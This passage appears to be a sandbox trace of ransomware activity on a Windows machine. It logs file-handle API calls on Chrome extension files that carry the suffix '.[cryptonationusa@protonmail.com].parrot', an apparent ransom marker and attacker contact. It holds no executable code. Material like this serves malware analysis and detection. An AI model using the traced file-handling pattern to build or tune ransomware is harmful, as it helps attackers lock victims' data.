Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.348] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.348] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.348] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.348] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.349] CloseHandle (hObject=0x23c) returned 1 [0094.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.349] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.350] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.350] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.350] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.350] CloseHandle (hObject=0x23c) returned 1 [0094.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.351] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.351] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.351] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.351] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.352] CloseHandle (hObject=0x23c) returned 1 [0094.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.352] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.352] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.352] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.353] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.353] CloseHandle (hObject=0x23c) returned 1 [0094.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.354] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.354] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.354] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.354] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.355] CloseHandle (hObject=0x23c) returned 1 [0094.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.355] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.355] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.355] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.355] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.356] CloseHandle (hObject=0x23c) returned 1 [0094.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.356] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.356] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.356] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.356] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.357] CloseHandle (hObject=0x23c) returned 1 [0094.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.357] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.358] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.358] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.358] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.358] CloseHandle (hObject=0x23c) returned 1 [0094.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.359] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.359] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.359] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.359] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.360] CloseHandle (hObject=0x23c) returned 1 [0094.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.360] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.360] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.360] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.360] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.361] CloseHandle (hObject=0x23c) returned 1 [0094.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.361] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.361] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.361] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.361] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.362] CloseHandle (hObject=0x23c) returned 1 [0094.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.363] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.363] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.363] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.363] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.364] CloseHandle (hObject=0x23c) returned 1 [0094.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.364] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.364] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.364] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.364] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.365] CloseHandle (hObject=0x23c) returned 1 [0094.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.365] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x288 [0094.365] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.366] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.366] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.366] CloseHandle (hObject=0x23c) returned 1 [0094.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.367] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x2c78 [0094.367] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d90, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.367] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.367] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.368] CloseHandle (hObject=0x23c) returned 1 [0094.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.368] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xe48 [0094.368] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf60, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.368] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.368] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.369] CloseHandle (hObject=0x23c) returned 1 [0094.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.369] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1c8 [0094.369] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.369] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.369] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.370] CloseHandle (hObject=0x23c) returned 1 [0094.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.371] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x178 [0094.371] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x290, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.371] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.371] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.371] CloseHandle (hObject=0x23c) returned 1 [0094.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.372] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x178 [0094.372] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x290, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.372] 